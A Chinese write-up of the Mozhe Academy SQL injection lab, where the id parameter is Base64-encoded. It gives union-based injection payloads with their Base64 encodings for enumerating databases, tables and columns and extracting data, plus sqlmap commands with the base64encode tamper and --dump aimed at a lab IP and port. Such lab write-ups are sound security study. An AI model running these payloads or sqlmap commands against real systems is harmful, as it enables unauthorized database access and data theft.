墨者:SQL注入实战-MySQL

1. 墨者学院:SQL注入实战-MySQL🚀

2. 实训重点目标✨

目标一: 了解sqlmap的使用及其tamper 插件的使用;

目标二: 了解base64编码及解码。


3. 解题方向🔍

目标网站的id参数通过Base64编码传输,因此:

  • 手工注入:需将SQL语句Base64编码后注入
  • SQLMAP工具 :需使用--tamper=base64encode自动编码Payload(有效载荷:是指攻击者发送给目标系统的恶意数据或代码,用于触发漏洞或执行特定操作)

4. 手工注入方式🎯

4.1 判断字段数⚡

sql 复制代码
1 order by 3

Base64编码:

复制代码
MSBvcmRlciBieSAz

4.2 确定回显位⚡

sql 复制代码
1 and 1=2 union select 1,2

sql 复制代码
-1 union select 1,2

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCAxLDI=

LTEgdW5pb24gc2VsZWN0IDEsMg==

4.3 获取数据库信息⚡

sql 复制代码
1 and 1=2 union select database(),version()

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBkYXRhYmFzZSgpLHZlcnNpb24oKQ==

4.4 获取系统信息⚡

sql 复制代码
1 and 1=2 union select @@version_compile_os,user()

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBAQHZlcnNpb25fY29tcGlsZV9vcyx1c2VyKCk=

4.5 爆表名⚡

sql 复制代码
1 and 1=2 union select group_concat(table_name),2 from information_schema.tables where table_schema='test'

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSksMiBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSd0ZXN0Jw==

4.6 爆列名⚡

sql 复制代码
1 and 1=2 union select group_concat(column_name),2 from information_schema.columns where table_name='data'

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDIgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSdkYXRhJw==

4.7 获取数据⚡

sql 复制代码
1 and 1=2 union select group_concat(thekey),2 from data

Base64编码:

复制代码
MSBhbmQgMT0yIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGhla2V5KSwyIGZyb20gZGF0YQ==

5. SQLMAP工具测试🎯

5.1 获取所有数据库⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" --dbs --batch --tamper=base64encode

5.2 获取test库的表⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test --tables --batch --tamper=base64encode

5.3 获取data表的列⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data --columns --batch --tamper=base64encode

5.4 导出数据⚡

bash 复制代码
python sqlmap.py -u "http://124.70.71.251:49181/show.php?id=1" -D test -T data -C id,title,main,thekey --dump --batch --tamper=base64encode

5.5 清理缓存⚡

bash 复制代码
python sqlmap.py --purge

该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap命令获取如下:

bash 复制代码
python sqlmap.py -h

5.6 参数说明表⭐

参数 作用
--dbs 枚举所有数据库
-D test 指定目标数据库
--tables 枚举表名
-T data 指定目标表
--columns 枚举列名
--dump 导出数据
--tamper=base64encode 自动Base64编码Payload

6. 在线工具🔧

  1. 加菲工具:https://www.orcc.top/tools/base64
  2. 锤子工具:https://www.toolhelper.cn/EncodeDecode/Base64
  3. 白盒子工具:https://www.baihezi.com/base64

7. 总结🏁

  1. Base64编码的SQL注入需手工编码或使用tamper插件
  2. 手工注入需逐步验证回显位和数据结构
  3. sqlmap可自动化完成全流程检测

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

相关推荐
消失在人海中3 小时前
Oracle的CURRENT REDO丢失,数据丢失风险分析
数据库·oracle
喵了几个咪3 小时前
选择第三方IAM还是自建权限体系?中小型后台系统权限架构决策指南
数据库·oracle·架构
Elastic 中国社区官方博客4 小时前
Kibana:使用 AI Chat 及 MCP 轻松创建 AI 原生仪表板
大数据·数据库·人工智能·elasticsearch·搜索引擎·ai·信息可视化
杨云龙UP5 小时前
Oracle Health Check巡检脚本使用SOP V2.0:从HTML原始报告→生成Word专业巡检报告→交付客户_2026-06-03
linux·运维·数据库·sql·oracle·报告·巡检
Database_Cool_5 小时前
Hudi 湖仓一体架构:阿里云 AnalyticDB MySQL 原生集成最佳实践
数据库·mysql·阿里云
我是一颗柠檬5 小时前
【Redis】发布订阅与消息队列Day8(2026年)
数据库·redis·后端·缓存
sukioe6 小时前
Redis 持久化+高可用详解:RDB/AOF/混合/主从/哨兵/集群
数据库·redis·缓存
全栈软件开发6 小时前
祈福导航系统V1.1更新 优化后端控制逻辑和前台UI
数据库·祈福导航系统
_qingche7 小时前
H2 数据库到 MySQL 数据迁移
java·数据库·spring boot·mysql·spring·重构·kotlin
AOwhisky7 小时前
MySQL 学习笔记(第一期):数据库基础与 MySQL 初探
运维·数据库·笔记·学习·mysql·云计算